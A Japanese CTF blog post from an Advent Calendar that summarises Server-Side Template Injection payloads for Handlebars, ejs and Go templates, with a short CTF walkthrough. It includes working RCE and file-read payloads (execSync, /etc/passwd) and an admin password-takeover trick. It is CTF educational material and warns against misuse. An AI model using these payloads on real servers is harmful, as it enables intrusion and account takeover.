はまやんはまやんはまやん

hamayanhamayan's blog

CTFのWebセキュリティにおけるSSTIまとめ

この記事はCTFのWebセキュリティ Advent Calendar 2021の15日目の記事です。

本まとめはWebセキュリティで共通して使えますが、セキュリティコンテスト(CTF)で使うためのまとめです。
悪用しないこと。勝手に普通のサーバで試行すると犯罪です。

Template Injection

  • テンプレートエンジン: データの表示場所を埋め込んだhtmlなどのテンプレートに対して、適切に変数の中身を埋め込んで出力するエンジン
    • この機能を悪用し、悪意ある文字列を入力することで、意図しない変数の中身を表示したり、RCEを起こしたりする脆弱性
    • クライアント側かサーバ側かで2通りある。
    • SSTI: Server-Side Template Injection, Server-Sideでテンプレートエンジンを動かして色々やる
    • CSTI: Client-Side Template Injection, Client-Sideでテンプレートエンジンを動かして色々やる

Server-Side Template Injection

まずはこれを試そう

Python

Java

  • Thymeleaf

javascript, node.js

  • Handlebars
    • {{変数名}}で変数の中身を出せる
    • グローバル変数の中身全部出る {{#each this}}{{@key}} => {{this.toString}}<br>{{/each}}
    • 参考になる → Built-in Helpers | Handlebars
    • registerPartialで指定されているレジスタを出力したいとき
      • hbs.registerPartial('FLAG', FLAG);とあれば、{{> FLAG}}
    • Defenit CTF 2020 の write-up - st98 の日記帳
      • FLAGという言葉はつかえないけど、FLAGを得たいとき
      • {{.}}で与えられている変数すべてをオブジェクトとして参照できる
      • {{#each .}}{{@key}}<br>{{/each}}のように#each というヘルパーを使えばオブジェクトに対して反復的に処理ができ、#each によって囲まれているブロックで @key という変数を使えば現在参照されているキーが得られる
      • {{#each .}}{{@key}}<br>{{/each}}で変数すべての名前が得られる
      • {{#each .}}{{#if (lookup . "toString")}}{{.}}<br>{{/if}}{{/each}}でその中でtoStringを持つものだけ出力する
  • ejs
    • RCE <%- global.process.mainModule.require('child_process').execSync('cat app.js') %>
    • LFI <%- include('../../../app.js') %>
    • <%= 7*7 %>
  • dust.js

Go

  • templates
    • template - The Go Programming Language
    • {{goWAF}}こういう感じの構文
    • goWAF
      • {{print "Test"}}とやると、Testが出力される。これは単にprint("Test")を呼んでいる感じ。こういう感じに関数呼び出しができる
      • 入れ子構造にしたいときは{{f(g "arg")}}みたいにすると、f(g("arg"))という呼び出しになる
    • Go SSTI Method Confusion
      • {{.System "id"}}でRCE達成
      • {{}.File "/etc/passwd"}でLFI達成
      • {{.}}で与えられてる変数が全部見れる
    • CTFtime.org / H@cktivityCon 2021 CTF / Go Blog
      • 全ページに表示される自分の名前部分にSSTIの脆弱性がある
      • 投稿サイトなのだが、投稿されたポストを見ると{{.Post.Author.Username}}のような感じでポスト者の情報がテンプレートに与えられている
      • なので、adminが投稿したポストを全ページにあるSSTIを利用して{{.}}とやるとadmin(投稿者)にまつわる色々情報が見えてしまう
      • この情報からadminのメールアドレスを抜き出す
      • .Post.AuthorはUser構造体になっていて、関数としてChangePasswordを持っている
      • SSTIでメソッドを呼び出すこともできるので、{{.Post.Author.ChangePassword "NewPassword"}}とすればパスワード変更ができ、TakeOver

Client-Side Template Injection

  • できてXSSな気がするが…
  • 以下のようなエンジンが狙われる
    • AngularJS
      • dangerouslySetInnerHTMLが肝らしいがよくわかってない
    • ReactJS